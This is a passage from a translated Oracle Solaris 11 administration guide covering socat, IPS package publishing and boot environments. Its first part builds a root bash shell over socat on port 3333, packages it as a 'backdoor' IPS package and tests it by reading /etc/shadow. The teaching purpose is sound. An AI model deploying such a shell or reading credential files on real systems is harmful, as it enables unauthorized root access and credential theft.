在编译 socat 应用程序之前,我们需要编辑一些源文件并修改某些行,因为原始的 socat 文件无法在 Oracle Solaris 11 上编译。在相同的 socat 目录中,我们需要编辑 xioopts.c 文件,定位到第 3998 行和第 4001 行,并根据以下示例进行修改:

root@solaris11:/tmp/socat-2.0.0-b6# vi xioopts.c

以下是文件的原始内容:

if (Setsockopt(xfd->fd1, opt->desc->major, opt->desc->minor,
                              &ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) {
                  Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s",
                         xfd->fd1, opt->desc->major, opt->desc->minor,
                         ip4_mreqn.mreq.imr_multiaddr,
                         ip4_mreqn.mreq.imr_interface,
                         sizeof(ip4_mreqn.mreq),
                         strerror(errno));
                  opt->desc = ODESC_ERROR; continue;
               }

修改后的内容如下所示:

if (Setsockopt(xfd->rfd, opt->desc->major, opt->desc->minor,
                              &ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) {
                  Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s",
                         xfd->rfd, opt->desc->major, opt->desc->minor,
                         ip4_mreqn.mreq.imr_multiaddr,
                         ip4_mreqn.mreq.imr_interface,
                         sizeof(ip4_mreqn.mreq),
                         strerror(errno));
                  opt->desc = ODESC_ERROR; continue;
               }       

现在,方便的方法是这样做:

root@solaris11:/tmp/socat-2.0.0-b6# make
root@solaris11:/tmp/socat-2.0.0-b6# make install
mkdir -p /usr/local/bin
/usr/bin/ginstall -c -m 755 socat /usr/local/bin
/usr/bin/ginstall -c -m 755 procan /usr/local/bin
/usr/bin/ginstall -c -m 755 filan /usr/local/bin
mkdir -p /usr/local/share/man/man1
/usr/bin/ginstall -c -m 644 ./doc/socat.1 /usr/local/share/man/man1/

在下一步中,我们按以下方式修改 /root/.bashrc 配置文件:

root@solaris11:~# cd
root@solaris11:~# more .bashrc
#
# Define default prompt to <username>@<hostname>:<path><"($|#) ">
# and print '#' for user "root" and '$' for normal users.
#

typeset +x PS1="\u@\h:\w\\$ "

PATH=$PATH:/usr/local/bin
MANPATH=$MANPATH:/usr/local/share/man
export PATH MANPATH

到目前为止我们所做的所有更改使我们能够从任何地方执行 socat 工具并访问其手册页:

root@solaris11:~# . ./.bashrc
root@solaris11:~# socat –V
socat by Gerhard Rieger - see www.dest-unreach.org
socat version 2.0.0-b6 on Oct 26 2013 17:33:19
   running on SunOS version 11.1, release 5.11, machine i86pc
features:
  #define WITH_STDIO 1
  #define WITH_FDNUM 1
  #define WITH_FILE 1
  #define WITH_CREAT 1
  #define WITH_GOPEN 1
  #define WITH_TERMIOS 1
  #define WITH_PIPE 1
  #define WITH_UNIX 1
  #undef WITH_ABSTRACT_UNIXSOCKET
  #define WITH_IP4 1
  #define WITH_IP6 1
  #define WITH_RAWIP 1
  #define WITH_GENERICSOCKET 1
  #define WITH_INTERFACE 1
  #define WITH_TCP 1
  #define WITH_UDP 1
  #define WITH_SCTP 1
  #define WITH_LISTEN 1
  #define WITH_SOCKS4 1
  #define WITH_SOCKS4A 1
  #define WITH_PROXY 1
  #define WITH_SYSTEM 1
  #define WITH_EXEC 1
  #define WITH_READLINE 1
  #undef WITH_TUN
  #define WITH_PTY 1
  #define WITH_OPENSSL 1
  #undef WITH_FIPS
  #define WITH_LIBWRAP 1
  #define WITH_SYCLS 1
  #define WITH_FILAN 1
  #define WITH_RETRY 1
  #define WITH_MSGLEVEL 0 /*debug*/

root@solaris11:~# man socat
User Commands                                            socat(1)

NAME
     socat - Multipurpose relay (SOcket CAT)

SYNOPSIS
     socat [options] <address-chain> <address-chain>
     socat -V
     socat -h[h[h]] | -?[?[?]]
     filan
     procan

注意

Socat 是一个基于命令行的实用程序,建立两个双向字节流并在它们之间传输数据。

由于 socat 工具加密连接,我们需要创建一个数字证书:

root@solaris11:/tmp# mkdir backdoor
root@solaris11:/tmp# cd backdoor
root@solaris11:/tmp/backdoor# uname -a
SunOS solaris11 5.11 11.1 i86pc i386 i86pc

root@solaris11:/tmp/backdoor#  openssl genrsa -out solaris11.key 2048
Generating RSA private key, 2048 bit long modulus
...............................................................................................................................+++
........+++
e is 65537 (0x10001)

root@solaris11:/tmp/backdoor# ls
solaris11.key

root@solaris11:/tmp/backdoor# openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt
You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) []: BR
State or Province Name (full name) []: Sao Paulo
Locality Name (eg, city) []: Sao Paulo
Organization Name (eg, company) []: http://alexandreborges.org
Organizational Unit Name (eg, section) []: Education
Common Name (e.g. server FQDN or YOUR name) []: solaris11
Email Address []: alexandreborges@alexandreborges.org

root@solaris11:/tmp/backdoor# ls
solaris11.crt  solaris11.key
root@solaris11:/tmp/backdoor# cat solaris11.key solaris11.crt > solaris11.pem
root@solaris11:/tmp/backdoor# ls
solaris11.crt  solaris11.key  solaris11.pem

在服务器端,我们已经完成了配置 socat 的步骤。在客户端,仍然需要创建一个密钥:

root@solaris11:/tmp/backdoor# openssl genrsa -out client.key 2048

为了说明和演示,我将使用服务器作为客户端,但在处理实际情况时,我们需要在客户端执行相同的命令(openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt)。

在同一台机器(客户端)上,我们创建一个脚本,在 3333 端口以持久监听模式启动 socat 工具:

root@solaris11:/tmp/backdoor# vi backdoor_exec.sh
#!/bin/bash
socat OPENSSL-LISTEN:3333,reuseaddr,fork,cert=solaris11.pem,cafile=solaris11.crt EXEC:/bin/bash

尽管前面的脚本非常简单,但我们需要注意以下已部署的选项:

  • LISTEN:3333: 这是 socat 监听的端口

  • reuseaddr: 这允许其他套接字绑定到一个地址,即使本地端口(3333)已经被 socat 使用

  • fork: 建立连接后,这将通过子进程处理其通道,并保持父进程尝试生成更多连接,无论是通过监听还是通过循环连接

  • cert: 这是我们制作的数字证书

  • cafile: 这指定了包含受信任(根)认证证书的文件

  • EXEC:这将被执行

执行以下命令使其可执行:

root@solaris11:/tmp/backdoor# chmod u+x backdoor_exec.sh

现在,socat 配置已经完成,接下来的任务是在 Oracle Solaris 域中执行。在第一步中,我们创建一个清单文件,该文件用于创建 IPS 包,因为这个清单文件包含了我们的后门 IPS 包所需的所有依赖项。后门清单文件将分部分创建:

root@solaris11:/tmp# pkgsend generate backdoor > /tmp/backdoor_manifest.level1
root@solaris11:/tmp# more /tmp/backdoor_manifest.level1
file solaris11.key group=bin mode=0644 owner=root path=solaris11.key
file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt
file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem
file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh

清单文件中的内容并不复杂,并且有一些关键词(操作)可能会很有趣。此外,语法也很简单:

<action_name> <attribute1=value1> <attribute2=value2> ...

以下是其中一些操作:

  • file:这指定了包安装的文件

  • set:这指定了诸如名称和描述等信息

  • dir:这是包安装的目录

  • hardlink:指向硬链接

  • link:这确定了符号链接

  • license:这确定了与包绑定的许可证类型

  • depend:列出了该包依赖的其他软件或工具

  • legacy:设置必须安装到遗留包数据库中的任何必要信息,以保持兼容性

当然,还有其他复杂的清单,但没有一个足够复杂到让我们担心。以下示例采用了 Netcat 包的现成清单:

root@solaris11:/tmp# pkg contents -m netcat > /tmp/netcat.p5m
root@solaris11:/tmp# more /tmp/netcat.p5m
set name=pkg.fmri value=pkg://solaris/network/netcat@0.5.11,5.11-0.175.1.0.0.24.2:20120919T184427Z

set name=pkg.summary value="Netcat command"
set name=pkg.description value="The nc(1) or netcat(1) utility can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports and perform port scanning."
set name=info.classification value=org.opensolaris.category.2008:Applications/Internet
set name=org.opensolaris.consolidation value=osnet
set name=variant.opensolaris.zone value=global value=nonglobal
set name=variant.debug.osnet value=true value=false
set name=variant.arch value=sparc value=i386
depend fmri=consolidation/osnet/osnet-incorporation type=require
depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.24.2 type=require
dir group=sys mode=0755 owner=root path=usr
dir group=bin mode=0755 owner=root path=usr/bin
dir facet.doc.man=true facet.locale.ja_JP=true group=bin mode=0755 owner=root path=usr/share/man/ja_JP.UTF-8/man1
dir facet.doc.man=true group=bin mode=0755 owner=root path=usr/share/man/man1
…...

在下一步中,我们创建一个 MOG 文件(这是一种元数据文件):

root@solaris11:/tmp# cat << EOF > /tmp/backdoor.mog

> set name=pkg.fmri value=backdoor@1.0,5.11.0
> set name=pkg.description value=”Backdoor using socat”
> set name=pkg.summary value=”This a backdoor package used for demonstrating package publishing”
> EOF

root@solaris11:/tmp# pkgmogrify /tmp/backdoor_manifest.level1 /tmp/backdoor.mog > /tmp/backdoor_manifest.level2
root@solaris11:/tmp# more /tmp/backdoor_manifest.level2
file solaris11.key group=bin mode=0644 owner=root path=solaris11.key
file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt
file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem
file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh

set name=pkg.fmri value=backdoor@1.0,5.11.0
set name=pkg.description value="Backdoor using socat"
set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"

正如你所察觉的,backdoor.mog 文件中包含的所有元数据信息都添加到了 manifest.level2 文件的末尾。在第三步中,我们将依赖项添加到清单文件中,然后执行以下命令:

root@solaris11:/tmp# pkgdepend generate -md backdoor /tmp/backdoor_manifest.level2 > /tmp/backdoor_manifest.level3
root@solaris11:/tmp# more /tmp/backdoor_manifest.level3
file solaris11.key group=bin mode=0644 owner=root path=solaris11.key
file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt
file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem
file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh

set name=pkg.fmri value=backdoor@1.0,5.11.0
set name=pkg.description value="Backdoor using socat"
set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"

depend fmri=__TBD pkg.debug.depend.file=bash pkg.debug.depend.path=usr/bin pkg.debug.depend.reason=backdoor_exec.sh pkg.debug.depend.type=script type=require

一旦生成依赖项列表,我们需要根据系统中已安装的包来解决依赖关系:

root@solaris11:/tmp# pkgdepend resolve -m /tmp/backdoor_manifest.level3
root@solaris11:/tmp# more /tmp/backdoor_manifest.level3.res
file solaris11.key group=bin mode=0644 owner=root path=solaris11.key
file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt
file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem
file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh
set name=pkg.fmri value=backdoor@1.0,5.11.0
set name=pkg.description value="Backdoor using socat"
set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"
depend fmri=pkg:/shell/bash@4.1.9-0.175.1.0.0.24.0 type=require

在继续之前,我们需要修改先前的文件(backdoor_manifest.level3.res,位于 /tmp 目录下),以便将后门包安装到 /backdoor 目录中:

root@solaris11:/backup/backdoor2# more backdoor_manifest.level3.res
dir group=bin mode=0755 owner=root path=/backdoor
file solaris11.key group=bin mode=0644 owner=root path=/backdoor/solaris11.key
file solaris11.crt group=bin mode=0644 owner=root path=/backdoor/solaris11.crt
file solaris11.pem group=bin mode=0644 owner=root path=/backdoor/solaris11.pem
file backdoor_exec.sh group=bin mode=0744 owner=root path=/backdoor/backdoor_exec.sh
set name=pkg.fmri value=backdoor@1.0,5.11.0
set name=pkg.description value="Backdoor using socat"
set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"
depend fmri=pkg:/shell/bash@4.1.9-0.175.1.0.0.24.0 type=require

我们快完成了。我们的最终目标是组装包并将其添加到仓库中:

root@solaris11:/tmp# pkgsend -s http://localhost:8888 publish -d /tmp/backdoor/ /tmp/backdoor_manifest.level3.res 
PUBLISHED
pkg://training/backdoor@1.0,5.11.0:20131027T004326Z

root@solaris11:/tmp# svcadm refresh application/pkg/server:training
root@solaris11:/tmp# svcadm restart application/pkg/server:training
root@solaris11:/tmp# svcs -a | grep application/pkg/server:training
online         22:44:16 svc:/application/pkg/server:training
root@solaris11:/tmp# pkg search -r backdoor
INDEX           ACTION VALUE                                                             PACKAGE
pkg.description set    Backdoor using socat                                          pkg:/backdoor@1.0
basename        file   backdoor                                                          pkg:/backdoor@1.0
pkg.fmri        set    training/backdoor                                                 pkg:/backdoor@1.0
pkg.summary     set    This a backdoor package used for demonstrating package publishing pkg:/backdoor@1.0

哇!我们做到了!一种测试方法是安装我们的后门包:

root@solaris11:/backup/backdoor2# pkg install backdoor
           Packages to install:  1
       Create boot environment: No
Create backup boot environment: No

DOWNLOAD                     PKGS         FILES    XFER (MB)   SPEED
Completed                    1/1          4/4      0.0/0.0     373k/s

PHASE                                          ITEMS
Installing new actions                           9/9
Updating package state database                 Done 
Updating image state                            Done 
Creating fast lookup database                   Done 

root@solaris11:/backup/backdoor2# pkg contents backdoor
PATH
backdoor
backdoor/backdoor_exec.sh
backdoor/solaris11.crt
backdoor/solaris11.key
backdoor/solaris11.pem

最后,我们测试后门的功能。在第一个终端中,我们输入以下内容:

root@solaris11:/backdoor# ls
backdoor_exec.sh  solaris11.crt     solaris11.key     solaris11.pem
root@solaris11:/backdoor# ./backdoor_exec.sh 
In the second terminal: 

root@solaris11:/backdoor# socat STDIO OPENSSL-CONNECT:localhost:3333,cert=solaris11.pem,cafile=solaris11.crt

ls
backdoor_exec.sh
solaris11.crt
solaris11.key
solaris11.pem

cat /etc/shadow
root:$5$xduDW1lC$I23.j8uPlFFYvxuH5Rc/JHEcAnZz5nK/h55zBKLyBwD:15984::::::3568
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
dladm:*LK*:::::::
netadm:*LK*:::::::
netcfg:*LK*:::::::
smmsp:NP:6445::::::
gdm:*LK*:::::::
zfssnap:NP:::::::
upnp:NP:::::::
xvm:*LK*:6445::::::
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
unknown:*LK*:::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
aiuser:*LK*:15602::::::
pkg5srv:*LK*:15602::::::
ale:$5$58VTKuRg$CnJXk791Ni.ZGmtoHO3ueGVjiSWuXxxQXbut2X3Njy7:::::::

第二步应该在另一台 Oracle Solaris 11 机器上执行(我们的客户端)。但是为了测试目的,我使用了相同的主机。

配方概述

毫无疑问,这个配方非常有趣且复杂,因为我们使用加密连接创建了一个后门,并且使用了不同的程序来完成任务。此外,我们还了解到,包有一个清单,描述了关联包的属性和依赖项。可以毫不夸张地说,清单是包的灵魂。

在 Solaris 11 上管理 IPS 发布者

也许与其他活动相比,管理 IPS 发布者似乎并不那么重要,但它是一个基本的概念,可以用来解释其他复杂的过程。令人惊讶的是,这些小细节能帮助我们进行日常管理。因此,既然从本章开始我们就使用了一些仓库命令,现在是时候学习更多相关命令了。

准备工作

要按照本教程进行操作,必须有一台运行 Oracle Solaris 11 的系统(物理或虚拟),我们需要以 root 用户登录系统并打开终端。

如何操作…

要列出现有的发布者,我们执行以下命令:

root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
training                    origin   online F http://localhost:8888/
Symantec     origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

如果我们需要更多关于某个特定发布者的信息,可以通过执行以下命令来获取:

root@solaris11:~# pkg publisher training
            Publisher: training
                Alias: 
           Origin URI: http://localhost:8888/
              SSL Key: None
             SSL Cert: None
          Client UUID: 8d121db2-39c7-11e3-8ae9-8800275685b8
      Catalog Updated: October 27, 2013 01:05:46 AM 
              Enabled: Yes

在所有这些发布者中,有一个是优先的。我们通过执行以下命令来显示哪个发布者是优先的:

root@solaris11:~# pkg publisher -P
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/

不用多说,有时管理员可能需要更改首选发布者;这个任务可以通过执行以下命令来完成:

root@solaris11:~# pkg publisher –P
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
root@solaris11:~# pkg set-publisher -P training
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
training                    origin   online F http://localhost:8888/
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

返回到旧的设置非常简单。可以使用以下命令来完成:

root@solaris11:~# pkg set-publisher -P solaris

本教程概述

本教程的主要思路是通过使用set-publisher命令来更改主发布者。有时,强制或提升此类仓库是一个可取的操作。

固定发布者

系统中配置了多个发布者时,可能会出现需要确保某个包只从一个发布者更新,而不是从另一个发布者更新的情况。

个人来说,我见过一些情况,其中一个非常可靠的仓库安装的包被另一个不那么可靠的仓库的更新破坏了。真有意思。相同的包存在,可以从两个不同的仓库中安装,但其中一个仓库的可靠性较差,最终可能会提供一个损坏的包。这就是固定发布者变得有用的地方。我保证,从某个源(仓库)安装的包将始终从同一仓库更新。让我们学习如何做到这一点。

准备工作

要按照本教程进行操作,必须有一台运行 Oracle Solaris 11 的系统(物理或虚拟),我们需要以 root 用户登录系统并打开终端。联网是可选的。

如何操作…

要固定发布者,我们输入以下命令:

root@solaris11:~# pkg set-publisher --sticky solaris

撤销配置是很简单的:

root@solaris11:~# pkg set-publisher --non-sticky solaris

注意

任何新的发布者默认都会被固定。

从现在开始,每个包将始终从其原始仓库更新,即使从另一个仓库提供了更新。

本教程概述

这是一个有趣的情况。通常,管理员需要一个由两个不同发布者提供的包,每个发布者都有不同的可靠性等级。在这种情况下,我们需要选择其中一个,并为其创建一个“固定通道”。

更改 URI 以及启用和禁用发布者

另一个要求可能是更改发布者的 URI,并将其指向一个新的仓库。例如,我们将所有的 Oracle Solaris 11 包复制到了 /repo_pool/repoimage/ 下的 repo 目录中。

准备工作

为了遵循此配方,我们需要一台运行 Oracle Solaris 11 的系统(物理机或虚拟机);我们以 root 用户登录系统并打开终端。建议能够访问互联网。

如何操作…

我们通过输入以下命令来更改发布者指向不同的 URI:

root@solaris11:~# pkg set-publisher -g http://localhost:9999 -G http://pkg.oracle.com/solaris/release/ solaris
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://localhost:9999/
training                    origin   online F http://localhost:8888/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

请记住,URI http://localhost:9999 指向仓库 /repo_pool/repoimage/repo。要恢复它,我们执行以下命令:

root@solaris11:~# pkg set-publisher -g http://pkg.oracle.com/solaris/release/  -G http://localhost:9999 solaris

我们通过执行以下命令再次列出发布者:

root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
training                    origin   online F http://localhost:8888/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

有时,我们可能需要禁用某个发布者;此任务可以按照以下示例执行:

root@solaris11:~# pkg set-publisher -d training
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
training       (disabled)   origin   online F http://localhost:8888/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

要重新启用它,我们执行以下命令:

root@solaris11:~# pkg set-publisher -e training

配方概览

在 Oracle Solaris 11 中,处理发布者是非常常见的任务,我们可能会经常使用 pkg set-publisher 命令启用和禁用发布者。

创建镜像仓库

如果你还记得,在本章开始时,我们创建了一个包含所有 Oracle Solaris 11 包的本地仓库,并将这个仓库索引为 solaris 发布者。因此,我们有两个仓库;第一个是通过 URI pkg.oracle.com/solaris/release/ 指向的 Oracle 网站,第二个—通过 URI http//localhost:9999 指向—存储在磁盘上(/repo_pool/repoimage/repo)。然而,发布者是相同的:solaris。所以,由于这两个仓库的内容相同,其中一个是另一个的镜像,可以按照接下来的步骤进行配置。

准备工作

为了遵循此配方,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户登录系统并打开终端。需要能够访问互联网。

如何操作…

我们需要通过执行以下命令来设置镜像仓库:

root@solaris11:~# pkg set-publisher -m http://localhost:9999 solaris
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solaris                     mirror   online F http://localhost:9999/
training                  origin   online F http://localhost:8888/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
Symantec                    origin   online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/

这个输出非常有趣,因为现在有两个 solaris 发布者的条目;第一个是原始的(origin),包含元数据和包,第二个是镜像,只包含包的内容。安装包是必要的,因为 Oracle Solaris 11 更倾向于从镜像获取包的内容,但 IPS 也会从原始发布者下载元数据信息(发布者的目录)。

我们可以通过执行以下命令删除指向该镜像的 URI:

root@solaris11:~# pkg set-publisher -M http://localhost:9999 solaris
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
training                    origin   online F http://localhost:8888/

配方概览

镜像仓库是指如果主仓库不可用,仍然有一个备用位置可以下载软件包。换句话说,同一个发布者通过两个不同位置提供其软件包。此外,镜像还提供了一种替代方案,用于在不使原仓库过载的情况下下载软件包内容。

删除仓库并更改搜索顺序

有一些很好的管理命令可以维护仓库配置的一致性。然而,发布者并不总是保持其重要性和优先级,这为我们提供了灵活性,可以反转搜索的顺序。

准备工作

要遵循此操作步骤,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。访问互联网是可选的。

如何操作…

我们使用以下命令删除一个发布者:

root@solaris11:~# pkg unset-publisher Symantec
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solaris                     mirror   online F http://localhost:9999/
training                    origin   online F http://localhost:8888/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/

我们可能仍然希望搜索操作在查找另一个发布者之前先查找特定的发布者。此任务可以使用以下命令执行:

root@solaris11:~# pkg set-publisher --search-before training solarisstudio
root@solaris11:~# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
solaris                     mirror   online F http://localhost:9999/
solarisstudio               origin   online F https://pkg.oracle.com/solarisstudio/release/
training                    origin   online F http://localhost:8888/

操作步骤概述

这个简短的操作步骤教我们如何根据最佳利益改变仓库的搜索顺序。

列出并创建引导环境

我们已经了解到,引导环境在 Oracle Solaris 11 中有着广泛的应用,例如修补系统。此部分将让我们稍微分析一下 BE 的管理和操作。

毫无疑问,列出和创建 BE 是管理引导环境时最基本的任务之一。然而,每次 BE 管理都从这一点开始。

准备工作

要遵循此操作步骤,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。访问互联网是可选的,磁盘上有一些额外的空间很重要。

如何操作…

管理 BE 时最基本的命令是列出现有的引导环境:

root@solaris11:~# beadm list
BE               Active Mountpoint Space  Policy Created          
--               ------ ---------- -----  ------ -------          
solaris          NR     /          25.86G static 2013-10-05 20:44 
solaris-backup-1 -      -          303.0K static 2013-10-26 22:49 
solaris-backup-a -      -          7.26G  static 2013-10-10 19:57 

接下来的自然步骤是创建一个新的引导环境:

root@solaris11:~# beadm create solaris_test_1
root@solaris11:~# beadm list
BE               Active Mountpoint Space  Policy Created          
--               ------ ---------- -----  ------ -------          
solaris          NR     /          25.88G static 2013-10-05 20:44 
solaris-backup-1 -      -          303.0K static 2013-10-26 22:49 
solaris-backup-a -      -          7.26G  static 2013-10-10 19:57 
solaris_test_1   -      -          204.0K static 2013-11-05 22:38 

操作步骤概述

在本操作步骤中,我们快速回顾了如何创建引导环境。这个操作步骤将会在未来的流程中多次使用。

在非活动引导环境中挂载、卸载、安装和卸载软件包

很多时候,我们希望在一个非活动的引导环境(BE)中安装一个软件包,稍后(也许是在夜间)启动该 BE 并测试程序是否正常工作。此外,我们还可以保持所有 BE 之间的一致性,使它们包含相同的软件包,而不需要启动每个 BE 来安装新软件包。

准备工作

要遵循此操作步骤,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。

如何操作…

我们使用以下命令将一个新软件包安装到新的 BE 中(solaris_test_1):

root@solaris11:~# mkdir /solaris_test_1
root@solaris11:~# beadm mount solaris_test_1 /solaris_test_1
root@solaris11:~# beadm list
BE               Active Mountpoint      Space  Policy Created          
--               ------ ----------      -----  ------ -------          
solaris          NR     /               25.94G static 2013-10-05 20:44 
solaris-backup-1 -      -               303.0K static 2013-10-26 22:49 
solaris-backup-a -      -               7.26G  static 2013-10-10 19:57 
solaris_test_1   -      /solaris_test_1 27.37M static 2013-11-05 22:38 

我们通过运行以下命令在这个挂载的启动环境中安装包:

root@solaris11:~# pkg -R /solaris_test_1 install unrar
Packages to install: 1
DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
Completed                                1/1           6/6      0.1/0.1  656k/s
PHASE                                          ITEMS
Installing new actions                         19/19
Updating package state database                 Done 
Updating image state                            Done 
Creating fast lookup database                   Done

unrar 包已安装到新的 BE(solaris_test_1)中,而不是当前的 BE(solaris)。证明这一点很简单:

root@solaris11:~# unrar
bash: unrar: command not found
root@solaris11:~#

注意

可以使用以下命令删除相同的包:

root@solaris11:~# pkg -R /solaris_test_1 uninstall unrar

一旦 unrar 包安装完成,我们可以通过运行以下命令卸载 BE:

root@solaris11:~# beadm umount solaris_test_1
root@solaris11:~# beadm list
BE               Active Mountpoint Space   Policy Created          
--               ------ ---------- -----   ------ -------          
solaris          NR     /          25.94G  static 2013-10-05 20:44 
solaris-backup-1 -      -          303.0K  static 2013-10-26 22:49 
solaris-backup-a -      -          7.26G   static 2013-10-10 19:57 
solaris_test_1   -      -          122.88M static 2013-11-05 22:38 

过程概述

这个简洁的过程教会了我们如何挂载一个非活动的启动环境,并通过使用 -R 选项指定挂载点,将一个包安装到这个非活动的 BE 中。

激活启动环境

在具有多个 BEs 的系统中,可能会出现需要激活一个 BE 来测试补丁或新包的情况,而不会有丢失生产环境的风险。因此,需要创建一个新的 BE,进行更改,并最终测试。然而,它必须先被激活。所以,在所有情况下,以下过程都是适用的。

准备工作

要跟随此过程,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。可能需要一些额外的磁盘空间。

如何做……

首先,让我们激活最近创建的 BE:

root@solaris11:~# beadm activate solaris_test_1
root@solaris11:~# beadm list
BE               Active Mountpoint Space  Policy Created          
--               ------ ---------- -----  ------ -------          
solaris          N      /          37.96M static 2013-10-05 20:44 
solaris-backup-1 -      -          303.0K static 2013-10-26 22:49 
solaris-backup-a -      -          7.26G  static 2013-10-10 19:57 
solaris_test_1   R      -          26.06G static 2013-11-05 22:38 

现在,让我们重启它:

root@solaris11:~# init 6

重启后,让我们测试现有的 unrar 包和命令:

root@solaris11:~# beadm list
BE             Active Mountpoint Space  Policy Created          
--             ------ ---------- -----  ------ -------          
solaris        -      -          8.57M  static 2013-10-05 20:44 
solaris-backup-1 -      -          303.0K static 2013-10-26 22:49 
solaris-backup-a -      -          7.26G  static 2013-10-10 19:57 
solaris_test_1   NR      -          26.06G static 2013-11-05 22:38 

root@solaris11:~# pkg info unrar
          Name: archiver/unrar
       Summary: Rar archives extractor utility
      Category: Applications/System Utilities
         State: Installed
     Publisher: solaris
       Version: 4.1.4
 Build Release: 5.11
        Branch: 0.175.1.0.0.24.0
Packaging Date: September  4, 2012 05:05:49 PM 
          Size: 391.47 kB
          FMRI: pkg://solaris/archiver/unrar@4.1.4,5.11-0.175.1.0.0.24.0:20120904T170549Z

现在,让我们通过执行以下命令来测试我们的过程:

root@solaris11:~# unrar
UNRAR 4.10 freeware      Copyright (c) 1993-2012 Alexander Roshal

Usage:     unrar <command> -<switch 1> -<switch N> <archive> <files...>
               <@listfiles...> <path_to_extract\>

<Commands>
  e             Extract files to current directory
  l[t,b]        List archive [technical, bare]
  p             Print file to stdout
  t             Test archive files
  v[t,b]        Verbosely list archive [technical,bare]
  x             Extract files with full path

<Switches>
  -             Stop switches scanning
  @[+]          Disable [enable] file lists

太棒了!unrar 包已按我们计划的方式出现在系统中。

过程概述

激活并重启 BE 是在开始使用 BE 之前需要完成的最后步骤。很可能,在此阶段我们可以测试一个安装包、安装补丁,甚至是 Oracle Solaris 11 的升级,而不必担心丢失整个系统。

从现有的 BE 创建一个启动环境

现在,正是谈论从现有环境创建新环境的合适时机。

准备工作

